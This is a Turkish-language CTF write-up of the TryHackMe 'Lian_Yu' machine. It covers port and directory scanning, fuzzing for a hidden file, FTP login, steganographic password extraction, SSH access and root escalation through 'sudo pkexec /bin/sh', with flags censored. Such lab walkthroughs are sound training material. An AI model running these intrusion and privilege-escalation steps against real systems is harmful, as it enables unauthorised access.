TryHackMe – Lian_Yu Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Lian_Yu” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.124.146
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-08 10:06 +03
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 10:06 (0:00:00 remaining)
Nmap scan report for 10.10.124.146
Host is up (0.066s latency).
Not shown: 996 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.2
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
80/tcp  open  http    Apache httpd
111/tcp open  rpcbind 2-4 (RPC #100000)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

2 — Dizin taraması yapıyorum ve “island” dizinini buluyorum.

[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.124.146 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.124.146
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/08 10:07:25 Starting gobuster in directory enumeration mode
===============================================================
/island               (Status: 301) [Size: 236] [--> http://10.10.124.146/island/]

3 — “island” dizinini girdiğimde kodu söyleyen bir mesajla karşılaşıyorum. Sayfa kaynağını incelemeden bakmaya çalıştığımda kod yazmıyor bunun için sayfa kaynağını inceleyerek kodu öğreniyorum. Daha sonra island dizini üzerinde dizin taraması yapıyorum.

<p>You should find a way to <b> Lian_Yu</b> as we are planed. The Code Word is: </p><h2 style="color:white"> vigilante</style></h2>

4 — Dizin taramasından sonra “2100” isimli bir dizine ulaşıyorum.

```system
[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.124.146/island -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.124.146/island
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/08 10:11:57 Starting gobuster in directory enumeration mode
===============================================================
/2100                 (Status: 301) [Size: 241] [--> http://10.10.124.146/island/2100/]

5 — “island/2100” dizinine gittiğimde sayfa kaynağını inceliyorum. “.ticket” uzantılı bir dosyadan bahsediyor. “wfuzz” aracı ile “fuzzing” işlemini yaparak dosyayı bulmaya çalışıyorum. “green_arrow.ticket” dosyasını buluyorum.

</iframe> <p>
<!-- you can avail your .ticket here but how?   -->
[root:/home/alper/Desktop/TRYHACKME]# wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://10.10.124.146/island/2100/FUZZ.ticket
*
*                                         
000010444:   200        6 L      11 W       71 Ch       "green_arrow" 

6 — “green_arrow.ticket” dizinine gittiğimda karşıma bir hash çıkıyor. Base58 ile şifrelenmiş bu hashi online bir siteden çözüyorum.

This is just a token to get into Queen's Gambit(Ship)


*CENSORED*

7 — FTP sunucusuna girip ordaki dosyaları indiriyorum. Giriş yaptığımız “vigilante” kullanıcısının yanında “slade” adında bir kullanıcı da buluyorum.

[root:/home/alper/Desktop/TRYHACKME]# ftp 10.10.124.146              
Connected to 10.10.124.146.
220 (vsFTPd 3.0.2)
Name (10.10.124.146:alper): vigilante
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||38836|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg
226 Directory send OK.
ftp> mget *
*
*
ftp> cd ..
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||5459|).
150 Here comes the directory listing.
drwx------    2 1000     1000         4096 May 01  2020 slade
drwxr-xr-x    2 1001     1001         4096 May 05  2020 vigilante

8 — FTP sunucusundan indirdiğim dosyaların formatlarını incelerken “Leave_me_alone.png” dosyasının uzantısının “png” olduğunu görüyorum fakat kontrol ettiğimde bunun bir data dosyası yazdığını görüyorum. PNG dosyasını açmaya çalıştığımda dosya formatının bozuk olduğunu söyleyen bir hata alıyorum. Dosyasının “Header” kısmının uyumsuz olabilceğini düşünüp “hexeditor” aracı ile incelemeye başlıyorum.

[root:/home/alper/Desktop/TRYHACKME]# file aa.jpg             
aa.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1200x1600, components 3
[root:/home/alper/Desktop/TRYHACKME]# file Leave_me_alone.png 
Leave_me_alone.png: data
[root:/home/alper/Desktop/TRYHACKME]# file Queen\'s_Gambit.png 
Queen's_Gambit.png: PNG image data, 1280 x 720, 8-bit/color RGBA, non-interlaced

9 — “hexeditor” aracını kullanarak ilk 8 biti “89 50 4E 47 00 00 00 0D” şeklinde değiştiriyorum. Daha sonra fotoğrafı açtığımda bana bir parola söylüyor.

[root:/home/alper/Desktop/TRYHACKME]# hexeditor Leave_me_alone.png
[root:/home/alper/Desktop/TRYHACKME]# open Leave_me_alone.png

10 — “steghide” ile dosyaların içerisinde saklanmış dosya arıyorum. “aa.jpg” dosyasında bir parola soruyolar. “Leave_me_alone.png” isimli fotoğrafta söylenen parolayı giriyorum. Resmin içine gizlenin zip dosyasını dışarı çıkartıyorum. Zip dosyasının içinden de 2 adet dosya çıkıyor. Buradaki “shado” dosyasının içinde bir parola buluyorum.

[root:/home/alper/Desktop/TRYHACKME]# steghide extract -sf aa.jpg
Enter passphrase: 
wrote extracted data to "ss.zip".
[root:/home/alper/Desktop/TRYHACKME]# unzip ss.zip 
Archive:  ss.zip
  inflating: passwd.txt              
  inflating: shado                   
[root:/home/alper/Desktop/TRYHACKME]# cat shado 
*CENSORED*
[root:/home/alper/Desktop/TRYHACKME]# cat passwd.txt

11 — Bulduğum parolayı ssh servisine girmek için kullanıyorum. Girdikten sonra ilk bayrağıma ulaşıyorum.

[root:/home/alper/Desktop/TRYHACKME]# ssh slade@10.10.124.146
*
*
*
slade@LianYu:~$ ls
user.txt
slade@LianYu:~$ cat user.txt
*CENSORED*

slade@LianYu:~$

12 — “sudo -l” komutu ile sudo yetkisi ile çalıştırabileceğim komutları görüntülüyorum. “pkexec” komutunu suistimal etmek için GTFObinsden kullanmam gereken komutu öğreniyorum. Komutu girdikten sonra “root” kullanıcısına geçtiğimi görüyorum. Root dizini altından ikinci bayrağı da elde ediyorum.

slade@LianYu:~$ sudo -l
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$ sudo pkexec /bin/sh
# whoami
root
# cat /root/root.txt
*CENSORED*